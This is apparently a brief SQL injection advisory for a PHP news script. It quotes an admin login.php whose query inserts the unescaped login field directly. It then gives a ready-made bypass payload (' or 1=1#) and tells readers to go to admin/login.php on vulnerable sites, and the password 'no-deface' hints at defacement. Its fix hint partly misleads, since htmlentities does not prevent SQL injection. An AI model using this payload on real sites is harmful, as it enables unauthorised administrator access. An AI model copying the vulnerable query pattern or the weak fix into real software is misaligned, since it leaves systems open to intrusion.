   File admin/login.php
   
   1. <?
   2.	if(isset($_POST['login_ad']) && ($_POST['password']))
   3.   {
   4.	include("../include/connexion.php");
   5.	$login=$_POST["login_ad"];
   6.	$pass=md5($_POST["password"]);
   7.	$sql="SELECT * FROM tr_user_news WHERE pseudo='$login' AND pass='$pass';";
   8.	$p = mysql_query($sql);
   9.	$row = mysql_fetch_assoc($p);
  10.	$admin = $row['admin'];
  11.	if($admin != 1)
  
  $login = $_POST"login_ad"]; isn't escaped,so you can insert SQL code...
  how to fix? sanize $login with mysql_real_escape_string or htmlentities
  
  
  NOTE:
  
  if the website is vulnerable,you must go to admin/login.php
  
  Username: ' or 1=1#
  Password: no-deface
